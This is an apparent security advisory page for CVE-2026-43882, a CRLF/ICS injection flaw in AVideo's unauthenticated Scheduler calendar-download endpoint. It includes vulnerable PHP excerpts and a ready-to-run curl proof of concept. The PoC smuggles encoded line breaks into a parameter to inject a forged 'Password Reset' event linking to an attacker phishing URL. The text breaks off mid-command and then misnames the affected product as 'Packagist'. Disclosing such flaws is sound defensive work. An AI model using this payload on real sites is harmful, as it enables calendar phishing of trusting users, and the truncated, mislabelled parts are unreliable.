CVE-2026-43882
Packagist vulnerability
## Summary The unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim's calendar after import. ## Details ### Vulnerable code path **`plugin/Scheduler/downloadICS.php`** — unauthenticated entry point: ```php if(!AVideoPlugin::isEnabledByName('Scheduler')){ forbiddenPage('Scheduler is disabled'); } if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); } if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); } Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'], @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']); ``` There is no session check, no CSRF token, no user-role check — only an empty-check on `title`/`date_start` and a plugin-enabled check. **`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder: ```php $props = array( 'location' => $location, 'description' => $description, // attacker-controlled 'dtstart' => $dtstart, 'dtend' => $dtend, 'summary' => $title, // attacker-controlled 'url' => $joinURL, // attacker-controlled 'valarm' => $VALARM, ); $ics = new ICS($props); ... echo $icsString; ``` **`objects/ICS.php:167-169`** — incomplete escape: ```php private function escape_string($str) { return preg_replace('/([\,;])/','\\\$1', $str); } ``` Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as `\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `"\r\n"`, so any raw `\r\n` sequence embedded in a value breaks out of the property line and injects new ICS directives. ### Verified exploit output Running the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled): ``` BEGIN:VCALENDAR VERSION:2.0 PRODID:-//hacksw/handcal//NONSGML v1.0//EN CALSCALE:GREGORIAN BEGIN:VEVENT DESCRIPTION:Hello END:VEVENT BEGIN:VEVENT SUMMARY:Injected URL:http://attacker.com DTSTART:20260501T000000Z DTEND:20260501T130000Z SUMMARY:Legit URL;VALUE=URI:https://example.com DTSTAMP:20260424T082123Z UID:69eb2803d1aa2 END:VEVENT END:VCALENDAR ``` The injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning. ## PoC 1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments). 2. Send an unauthenticated GET request with CRLF-encoded payload in `description`: ``` curl -o malicious.ics \ 'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity' ``` 3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL. Local reproduction (without needing a running server) using the same code path: ``` php -r "requir
Affected products
Packagist. The exact versions are in the references.
What to do now
- Check your exposureFind out whether Packagist runs anywhere in your environment, including systems of suppliers.
- UpdateInstall the version in which the vendor fixed the vulnerability. The references lead to the advisory.
- Limit access until thenIf you cannot update at once, take the system off the internet or restrict who can reach it.
References
Data: CVE list and the NVD. This product uses data from the NVD API but is not endorsed or certified by the NVD.